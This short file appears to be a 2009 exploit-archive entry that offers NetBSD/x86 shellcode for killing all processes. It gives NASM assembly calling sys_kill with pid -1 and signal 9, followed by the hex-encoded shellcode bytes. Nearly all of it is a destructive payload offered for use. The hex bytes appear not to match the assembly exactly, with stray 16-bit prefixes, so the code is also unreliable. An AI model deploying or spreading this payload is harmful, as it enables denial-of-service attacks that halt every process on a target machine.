39 lines
No EOL
751 B
C
39 lines
No EOL
751 B
C
/*
|
|
|
|
netbsd/x86 kill all processes shellcode
|
|
author Anonymous
|
|
|
|
this shellcode is using syscall number 37 or 0x25
|
|
37 STD { int sys_kill(int pid, int signum); }
|
|
|
|
|
|
here is assembler code using intel syntaxe and NASM
|
|
--------------begin-----------
|
|
|
|
section .note.netbsd.ident
|
|
dd 0x07,0x04,0x01
|
|
db "NetBSD",0x00,0x00
|
|
dd 200000000
|
|
|
|
|
|
section .data
|
|
|
|
section .text
|
|
global _start
|
|
|
|
_start:
|
|
xor eax, eax
|
|
push 0x09
|
|
mov eax, -1
|
|
push eax
|
|
xor eax,eax
|
|
mov al, 37
|
|
push eax
|
|
int 0x80
|
|
-------------------------end------------
|
|
|
|
if we dissasemble this code wi will get shellcode
|
|
"\x66\x31\xc0\x68\x09\x00\x66\xb8\xff\xff\xff\xff\x66\x50\x66\x31\xc0\xb0\x25\x66\x50\xcd\x80"
|
|
*/
|
|
|
|
// milw0rm.com [2009-06-18]
|